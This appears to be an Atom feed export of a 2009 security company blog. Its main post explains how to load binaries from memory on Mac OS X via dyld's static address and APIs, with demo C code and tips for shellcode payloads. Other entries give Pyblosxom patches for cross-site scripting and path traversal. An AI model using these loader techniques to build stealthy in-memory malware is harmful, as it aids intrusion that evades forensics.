<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">
    <title>Subreption Blog</title>
    <link rel="alternate" type="text/html" href="http://www.subreption.com/blog/" />
    
    <id>tag:www.subreption.com,2009-03-07:/blog//1</id>
    <updated>2009-05-09T16:46:23Z</updated>
    <subtitle>A surreptitious look over the work of an innovative startup.</subtitle>

<link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-nc-nd/3.0/" /><logo>http://blog.subreption.com/wp-content/themes/subreption2/images/banner.png</logo><link rel="self" href="http://feeds.feedburner.com/SubreptionBlog" type="application/atom+xml" /><feedburner:emailServiceId>SubreptionBlog</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare href="http://www.bloglines.com/sub/http://feeds.feedburner.com/SubreptionBlog" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare href="http://my.feedlounge.com/external/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2FSubreptionBlog" src="http://static.feedlounge.com/buttons/subscribe_0.gif">Subscribe with FeedLounge</feedburner:feedFlare><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><entry>
    <title>False positives on LinkedIn with Kaspersky?</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/41_cUglp1YA/false-positives-on-linkedin-with-kaspersky.html" />
    <id>tag:www.subreption.com,2009:/blog//1.108</id>

    <published>2009-05-09T16:24:11Z</published>
    <updated>2009-05-09T16:46:23Z</updated>

    <summary> Is this really a false positive in KAV or there's something else going on that we should know about?...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="antivirus" label="antivirus" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="malware" label="malware" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
        &lt;span class="mt-enclosure mt-enclosure-image" style="display: inline;"&gt;&lt;img alt="linkedin-malware-strange.png" src="http://www.subreption.com/blog/2009/05/09/linkedin-malware-strange.png" class="mt-image-center" style="margin: 0pt auto 20px; text-align: center; display: block;" width="351" height="412" /&gt;&lt;/span&gt; &lt;div&gt;Is this really a false positive in KAV or there's something else going on that we should know about?&lt;br /&gt;&lt;/div&gt;
        
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=41_cUglp1YA:LelM990MD8I:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=41_cUglp1YA:LelM990MD8I:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=41_cUglp1YA:LelM990MD8I:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=41_cUglp1YA:LelM990MD8I:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=41_cUglp1YA:LelM990MD8I:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=41_cUglp1YA:LelM990MD8I:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=41_cUglp1YA:LelM990MD8I:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=41_cUglp1YA:LelM990MD8I:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/41_cUglp1YA" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2009/05/false-positives-on-linkedin-with-kaspersky.html</feedburner:origLink></entry>

<entry>
    <title>Runtime binary loading via the dynamic loader on Apple Mac OS X</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/dMsJEG6RKzw/runtime-binary-loading-via-the-dynamic-loader-on-apple-mac-os-x.html" />
    <id>tag:www.subreption.com,2009:/blog//1.105</id>

    <published>2009-02-06T15:57:41Z</published>
    <updated>2009-03-08T15:00:29Z</updated>

    <summary> An article written by Dan Goodin from The Register was recently published, it mentions a forthcoming presentation by Vincenzo Iozzo, which presents a method to load a binary on runtime, directly from memory, in Mac OS X systems. Here...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Apple" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="cool" label="cool" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="exploits" label="exploits" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="mac" label="mac" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
         &lt;p&gt;
An &lt;a href="http://www.theregister.co.uk/2009/01/21/stealthier_mac_attacks/"&gt;article written&lt;/a&gt; by Dan Goodin from The Register was recently published, it
mentions a forthcoming presentation by Vincenzo Iozzo, which presents a method
to load a binary on runtime, directly from memory, in Mac OS X systems.

&lt;br /&gt;&lt;br /&gt;

Here we like to stick to the technical side of things... so let's get started
on explaining how this can be done, in case you aren't planning to attend Black Hat or
just feel particularly curious on the topic!
&lt;/p&gt;

&lt;h3&gt;The Mach-o Dynamic Loader: Dyld and runtime binary loading&lt;/h3&gt;

&lt;p&gt;
When you execute a program, the operating system processes its main binary
("the executable") and resolves its dependencies before execution begins. Modern
operating systems allow programs to depend on other software dynamically. Instead
of compiling all the features statically (that is, built-in in the main executable),
it lets you select such dependencies dynamically. When the executable is loaded,
a piece of software takes care of finding such dependencies, placing them in
memory, and updating the locations where our program will find the necessary
functions, et cetera. This provides an efficient way to save space and produce
less bulky binaries, as well as easing updates, since a library can be upgraded
while retaining backwards compatibility.
&lt;br /&gt;&lt;br /&gt;
The good fellows at Apple designed an even more efficient procedure for loading
common libraries, and some of them stay on memory after the system boots, providing
faster loading times and better execution speed, while lowering the stress on the disk
caused by repeatedly loading libraries when executing a new process. The place
where such common libraries are loaded is the shared region. It's been used to
produce 100% reliable local privilege escalation exploits, too.
&lt;br /&gt;&lt;br /&gt;
In Mac OS X, &lt;a href="http://developer.apple.com/releasenotes/developertools/RN-dyld/index.html"&gt;the dynamic linker&lt;/a&gt;
is known as &lt;strong&gt;dyld&lt;/strong&gt;. Leopard implements
a rudimentary form of ASLR, consistent enough to deter the most simple threats and
inefficient against some other issues (heap overflows, memory leaks and so forth).
The dyld happens to be loaded on a static address in every Leopard installation,
independently of language, distribution (that means Server) or platform.

&lt;br /&gt;&lt;br /&gt;

Given a couple thousand different Intel-based 32-bit Leopard installations, dyld
will live at &lt;code&gt;0x8fe00000&lt;/code&gt;, for all of them.
&lt;/p&gt;
        &lt;h3&gt;0x8fe00000 marks the spot&lt;/h3&gt;

&lt;p&gt;
Apple &lt;a href="http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/LoadingCode/LoadingCode.html"&gt;provides an API&lt;/a&gt;
that let's you load binaries from memory, on runtime, without any hack whatsoever.
That means &lt;a href="http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/LoadingCode/LoadingCode.html"&gt;an official procedure&lt;/a&gt;
exists for this purpose. No need for fancy hacks, or complex Mach-O position
independent loaders in shellcode or similar trickery.

&lt;br /&gt;&lt;br /&gt;

We can observe that dyld is loaded at the same exact location for all processes.
For an Intel up-to-date installation of Leopard:
&lt;/p&gt;

&lt;pre&gt;
(edited output)
$ python examples/dump_self.py
Dumping maps for `Python` pid=37578):
0x8fe00000-0x8fe2e000     184K [ rx/rwx] SM=01 /usr/lib/dyld
0x8fe2e000-0x8fe30000       8K [ rw/rwx] SM=01 /usr/lib/dyld
0x8fe30000-0x8fe67000     220K [ rw/rwx] SM=02
0x8fe67000-0x8fe75000      56K [  r/rwx] SM=01 /usr/lib/dyld
0x90000000-0x970e3000  115596K [ rx/ rx] SM=01
Done.
&lt;/pre&gt;

&lt;h3&gt;Loading binaries and bundles from memory&lt;/h3&gt;

&lt;p&gt;
Apple provides &lt;a href="http://developer.apple.com/DOCUMENTATION/DeveloperTools/Reference/MachOReference/Reference/reference.html"&gt;the following API&lt;/a&gt;
to perform binary and bundle loading operations:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;_dyld_func_lookup(const char* dyld_func_name, void** address);&lt;/li&gt;
&lt;li&gt;_dyld_lookup_and_bind(const char* symbol_name, void ** address, void* module);&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NSCreateObjectFileImageFromMemory&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The purpose of &lt;code&gt;_dyld_func_lookup&lt;/code&gt; is to provide a reliable way to
resolve the address to internal dyld functions (those prefixed by _dyld_). This
is the first step towards being able to resolve addresses to dynamically loaded
libraries, albeit dyld itself provides functions for memory allocation, string
manipulation and other functionality, without requiring further dependencies. This
will ease the work of developing shellcode since we only require to know where to
look for &lt;code&gt;_dyld_func_lookup&lt;/code&gt;, and since dyld lives at a static location,
that's not a problem.

&lt;br /&gt;&lt;br /&gt;

&lt;code&gt;_dyld_lookup_and_bind&lt;/code&gt; is an equivalent of the &lt;code&gt;dlsym&lt;/code&gt;
function from the standard library, but there's a slight difference: it doesn't
require a handle to a library instance. The module parameter can be set to NULL.
It will resolve the address to the specified symbol and store it into the given
pointer-to-a-pointer.

&lt;br /&gt;&lt;br /&gt;

And finally &lt;code&gt;NSCreateObjectFileImageFromMemory&lt;/code&gt;, with a self-explanatory
name. Its purpose is loading a Mach-O object (required to be a bundle) from
memory, stored in a Mach memory allocated buffer, and providing a ready to use
NSObjectFileImage object. Other functions such as &lt;code&gt;NSAddImage&lt;/code&gt; exist
for the same purpose, but those use a path to an on-disk file, therefore aren't
suitable in this scenario.
&lt;/p&gt;

&lt;pre&gt;
/*
 * Copyright (C) 2009 Subreption LLC. All rights reserved.
 */
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

extern int _dyld_func_lookup(
   const char* dyld_func_name,
   void** address);

extern void _dyld_lookup_and_bind(
   const char* symbol_name,
   void ** address,
   void* module);

int main(int argc, char **argv)
{
#pragma unused(argc)
#pragma unused(argv)

        int err = 0;
        unsigned char *buf = NULL;
        void (*seitnap) (void *, size_t, void *) = NULL;
        void *(*xmalloc)(size_t) = NULL;
        void (*xfree)(void *) = NULL;
        void (*funcaddr) (const char *, void **, void *) = NULL;
        void *(*xmemset) (void *, size_t, int) = NULL;
        int (*xprintf) (char *fmt, ...) = NULL;
        char *(*xstrcpy) (char *, char *) = NULL;

        const char *funcstr = "__dyld_lookup_and_bind";

        err = _dyld_func_lookup(funcstr, (void *) &amp;funcaddr);
        if (!err) {
                printf("Failed.\n");
                exit(EXIT_FAILURE);
        }

        funcaddr("_printf", (void *) &amp;xprintf, NULL);
        funcaddr("_malloc", (void *) &amp;xmalloc, NULL);
        funcaddr("_free", (void *) &amp;xfree, NULL);
        funcaddr("_memset", (void *) &amp;xmemset, NULL);
        funcaddr("_strcpy", (void *) &amp;xstrcpy, NULL);

        xprintf("%s at %p\n", funcstr, funcaddr);
        xprintf("Resolved malloc at %p, free at %p.\n", xmalloc, xfree);
        xprintf("Resolved memset at %p, strcpy at %p.\n", xmemset, xstrcpy);

        buf = xmalloc(64);
        if (buf == NULL)
                perror("malloc");

        xmemset(buf, 0, 64);
        xstrcpy((char *) buf, "Hello from heap memory!");

        xprintf("Allocated some memory at %p! (%s)\n", buf, (char *) buf);

        xfree(buf);

        funcaddr("_NSCreateObjectFileImageFromMemory", (void *) &amp;seitnap, NULL);
        xprintf("Resolved NSCreateObjectFileImageFromMemory at %p.\n", seitnap);

        return 0;
}

/*
$ ./a.out
__dyld_lookup_and_bind at 0x8fe0a0e0
Resolved malloc at 0x96aebf75, free at 0x96af1263.
Resolved memset at 0x96aeb318, strcpy at 0x96b15790.
Allocated some memory at 0x100160! (Hello from heap memory!)
Resolved NSCreateObjectFileImageFromMemory at 0x96bf3ed4.
*/
&lt;/pre&gt;

&lt;p&gt;
Please note the location of the &lt;code&gt;_dyld_lookup_and_bind&lt;/code&gt; function, which
is resolved via &lt;code&gt;_dyld_func_lookup&lt;/code&gt;. Resolving the addresses to the malloc
and free functions is superfluous, this is just an example. Dyld provides its own
wrappers to malloc, free and a handful other functions which can be resolved
from &lt;code&gt;_dyld_func_lookup&lt;/code&gt; directly. Using &lt;code&gt;_dyld_lookup_and_bind&lt;/code&gt;
we can resolve virtually any function as long as it is loaded within the current
process address space, and then proceed with the bundle loading API. This is a
straightforward procedure and extremely reliable for shellcode. No magic required,
just stick to the unlimited possibilities offered by Apple's API and that of
every loaded dynamic/shared library. You have openssl and many other libraries
which could help to create smaller symmetrically-encrypted shellcode stages, or
complex network communication functionality. The only boundary is your creativity
and technical skillset.
&lt;/p&gt;

&lt;h3&gt;Leveraging dyld to load and execute your own binary&lt;/h3&gt;

&lt;p&gt;
In order to load a standalone binary and execute it from memory, your shellcode
loader should use dyld facilities to resolve its dependencies before executing its
real code. The Mach-O ABI is particularly attractive because it relies on offsets
instead of full addressing, therefore relocation for the binary text is not a big
deal. This will be trickier than loading a dynamic library or bundle, but
completely doable. In addition, forking the process and replacing its image on memory
is done in the same fashion as the &lt;code&gt;execve&lt;/code&gt; function operates. Also, inheriting
file descriptors and other implementation issues could be ignored altogether to
keep the loader footprint minimal. Certain Mach API might be of help for this purpose.
&lt;br /&gt;&lt;br /&gt;
Either way, developing a standalone binary loader seems overkill when taking into
consideration the solid official API available for loading code dynamically. Using
constructors/destructors you can initialize whatever is necessary in your payload
and hook or redirect API for triggering your functionality. You won't have to
worry about detecting process termination, since that will be handled by your
library destructor. Far more simple, reliable and flexible.
&lt;/p&gt;

&lt;h3&gt;Why runtime binary loading might not deter forensics on Mac OS X&lt;/h3&gt;

&lt;p&gt;
In order to deter forensics when loading binaries off memory, you must be able to
control or influence how the memory will be used afterwards. In addition, you
must be aware of any existent caching mechanisms and sleep/hibernation issues.

&lt;br /&gt;&lt;br /&gt;

Mac OS X stores a full memory image on disk when it goes into sleep mode. This happens
by default in all recent (including first generation Macbooks) Apple laptops
when certain things happen (including closing the lid, inactivity, screensaver
activation, etc). Once your code is saved into memory (along the key for the
AES-128/256 encrypted swap image, which means "secure VM" won't do any good during forensics)
it's already a game over.

&lt;br /&gt;&lt;br /&gt;

If your code somehow manages to stay on memory afterwards (either because you
forgot to wipe it or it got loaded into the shared region), it's also game over.

&lt;br /&gt;&lt;br /&gt;

Therefore, the impact of this technique against forensics could be negligible,
depending on the setup and specifics of the case. Claiming this deters forensics
right away, or that it will make attacks much more &lt;em&gt;stealthy&lt;/em&gt;, is exaggerating
things quite a bit. It makes an attack more low profile, but it could use
a lot of improvement.
&lt;/p&gt;

&lt;p&gt;
Hope you enjoyed reading, and thanks for your time! Thanks to Dan Goodin and Jared
DeMott for proofreading and comments before publication.
&lt;/p&gt;
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=dMsJEG6RKzw:0s3k7KD4nWc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=dMsJEG6RKzw:0s3k7KD4nWc:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=dMsJEG6RKzw:0s3k7KD4nWc:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=dMsJEG6RKzw:0s3k7KD4nWc:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=dMsJEG6RKzw:0s3k7KD4nWc:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=dMsJEG6RKzw:0s3k7KD4nWc:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=dMsJEG6RKzw:0s3k7KD4nWc:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=dMsJEG6RKzw:0s3k7KD4nWc:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/dMsJEG6RKzw" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2009/02/runtime-binary-loading-via-the-dynamic-loader-on-apple-mac-os-x.html</feedburner:origLink></entry>

<entry>
    <title>Minor security fixes for Pyblosxom</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/0bXGsRu21OU/minor-security-fixes-for-pyblosxom-1.html" />
    <id>tag:www.subreption.com,2009:/blog//1.101</id>

    <published>2009-02-05T14:56:14Z</published>
    <updated>2009-03-08T14:15:19Z</updated>

    <summary> We've been waiting for a rather long time to hear back from the current maintainer of Pyblosxom, the Python blogging software running this blog. He's probably busy or taking some time off, therefore we are releasing some patches for...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Blogging" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Open Source" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="fixes" label="fixes" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="python" label="python" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="websecurity" label="web security" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
         &lt;p&gt;
We've been waiting for a rather long time to hear back from the current
maintainer of &lt;a href="http://pyblosxom.sourceforge.net/"&gt;Pyblosxom&lt;/a&gt;, the
&lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt; blogging software running this blog.
&lt;br /&gt;
&lt;br /&gt;
He's probably busy or taking some time off, therefore we are releasing some
patches for a few minor security issues. It's a mere cross site-scripting bug,
likely the most annoying, common and rather stupid &lt;em&gt;security issue&lt;/em&gt; in
web applications. &lt;strong&gt;In any case, you most likely want this fixed!&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;
Also another potential directory traversal issue is fixed by applying these patches.
If you are using Pyblosxom to power your blog, please feel free to review these
patches and apply them to your code base if required.
&lt;br /&gt;&lt;br /&gt;
This blog uses a slightly modified version of the original source code, with
certain improvements for performance and aesthetics. In the future we might
contribute our modifications to the upstream development tree.
&lt;/p&gt;
        &lt;p&gt;
Patch for 1.4.3:
&lt;/p&gt;

&lt;pre&gt;diff -Nur pyblosxom-1.4.3/Pyblosxom/renderers/blosxom.py pyblosxom-1.4.3.custom/Pyblosxom/renderers/blosxom.py
--- pyblosxom-1.4.3/Pyblosxom/renderers/blosxom.py	2007-12-11 07:56:46.000000000 -0800
+++ pyblosxom-1.4.3.custom/Pyblosxom/renderers/blosxom.py	2008-09-06 06:06:51.000000000 -0700
@@ -48,7 +48,11 @@
     path = path[:path.rfind(os.sep)+1] + "flavours" + os.sep
 
     path = path + taste + ".flav"
-
+    
+    # Detect NULL terminators and path traversal strings :&amp;gt;
+    if taste.find('\0') != -1 or taste.find('..') != -1:
+        raise NoSuchFlavourException("Flavour does not exist.")
+    
     if os.path.isdir(path):
         template_files = os.listdir(path)
         template_d = {}
@@ -186,13 +190,16 @@
 
         # if we still haven't found our flavour files, we raise an exception
         if not template_d:
-            raise NoSuchFlavourException("Flavour '%s' does not exist." % taste)
+            raise NoSuchFlavourException("Flavour does not exist.")
 
         for k in template_d.keys():
-            flav_template = unicode(open(template_d[k]).read(), 
-                    config.get('blog_encoding', 'iso-8859-1'))
-            template_d[k] = flav_template
-
+            try:
+                flav_template = unicode(open(template_d[k]).read(), 
+                                config.get('blog_encoding', 'iso-8859-1'))
+                template_d[k] = flav_template
+            except:
+                raise NoSuchFlavourException("Flavour error: %s" % template_d[k])
+        
         return template_d
 
     def _printTemplate(self, entry, template):
&lt;/pre&gt;

&lt;p&gt;
Patch for the Subversion trunk, if you are running the "bleeding edge":
&lt;/p&gt;

&lt;pre&gt;diff -Nur pyblosxom-trunk/Pyblosxom/renderers/blosxom.py pyblosxom-subreption/Pyblosxom/renderers/blosxom.py
--- pyblosxom-trunk/Pyblosxom/renderers/blosxom.py	2008-09-06 06:20:37.000000000 -0700
+++ pyblosxom-subreption/Pyblosxom/renderers/blosxom.py	2008-09-06 06:25:50.000000000 -0700
@@ -47,6 +47,9 @@
     path = __file__[:__file__.rfind(os.sep)]
     path = path[:path.rfind(os.sep)+1] + "flavours" + os.sep
 
+    if taste.find('\0') != -1 or taste.find('..') != -1:
+        return None
+    
     path = path + taste + ".flav"
 
     if os.path.isdir(path):
@@ -190,12 +193,12 @@
 
         # if we still haven't found our flavour files, we raise an exception
         if not template_d:
-            raise NoSuchFlavourException("Flavour '%s' does not exist." % taste)
+            raise NoSuchFlavourException("Flavour does not exist.")
 
         for k in template_d.keys():
             flav_template = open(template_d[k]).read()
             template_d[k] = flav_template
-
+        
         return template_d
 
     def renderContent(self, content):
&lt;/pre&gt;

&lt;p&gt;
Thanks, and let us know if you have any issues with the patches. Please don't
contact us for technical support for your blog or similar cases. If you don't
know how to apply the patch, contact your system administrator or support from your
hosting provider, or some friend with free time to help you out.
&lt;/p&gt;
    &lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=0bXGsRu21OU:uLt8bWW1GaM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=0bXGsRu21OU:uLt8bWW1GaM:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=0bXGsRu21OU:uLt8bWW1GaM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=0bXGsRu21OU:uLt8bWW1GaM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=0bXGsRu21OU:uLt8bWW1GaM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=0bXGsRu21OU:uLt8bWW1GaM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?i=0bXGsRu21OU:uLt8bWW1GaM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/SubreptionBlog?a=0bXGsRu21OU:uLt8bWW1GaM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/SubreptionBlog?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/0bXGsRu21OU" height="1" width="1"/&gt;</content>
<feedburner:origLink>http://www.subreption.com/blog/2009/02/minor-security-fixes-for-pyblosxom-1.html</feedburner:origLink></entry>

<entry>
    <title>Minor security fixes for Pyblosxom</title>
    <link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/SubreptionBlog/~3/9alg0I_fnFU/minor-security-fixes-for-pyblosxom.html" />
    <id>tag:www.subreption.com,2009:/blog//1.100</id>

    <published>2009-02-05T14:56:14Z</published>
    <updated>2009-03-08T14:03:58Z</updated>

    <summary> We've been waiting for a rather long time to hear back from the current maintainer of Pyblosxom, the Python blogging software running this blog. He's probably busy or taking some time off, therefore we are releasing some patches for...</summary>
    <author>
        <name>Subreption LLC</name>
        
    </author>
    
        <category term="Blogging" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Open Source" scheme="http://www.sixapart.com/ns/types#category" />
    
        <category term="Security" scheme="http://www.sixapart.com/ns/types#category" />
    
    <category term="fixes" label="fixes" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="python" label="python" scheme="http://www.sixapart.com/ns/types#tag" />
    <category term="websecurity" label="web security" scheme="http://www.sixapart.com/ns/types#tag" />
    
    <content type="html" xml:lang="en-US" xml:base="http://www.subreption.com/blog/">
         &lt;p&gt;
We've been waiting for a rather long time to hear back from the current
maintainer of &lt;a href="http://pyblosxom.sourceforge.net/"&gt;Pyblosxom&lt;/a&gt;, the
&lt;a href="http://www.python.org"&gt;Python&lt;/a&gt; blogging software running this blog.
&lt;br /&gt;
&lt;br /&gt;
He's probably busy or taking some time off, therefore we are releasing some
patches for a few minor security issues. It's a mere cross site-scripting bug,
likely the most annoying, common and rather stupid &lt;em&gt;security issue&lt;/em&gt; in
web applications. &lt;strong&gt;In any case, you most likely want this fixed!&lt;/strong&gt;
&lt;br /&gt;&lt;br /&gt;
Also another potential directory traversal issue is fixed by applying these patches.
If you are using Pyblosxom to power your blog, please feel free to review these
patches and apply them to your code base if required.
&lt;br /&gt;&lt;br /&gt;
This blog uses a slightly modified version of the original source code, with
certain improvements for performance and aesthetics. In the future we might
contribute our modifications to the upstream development tree.
&lt;/p&gt;
        &lt;p&gt;
Patch for 1.4.3:
&lt;/p&gt;

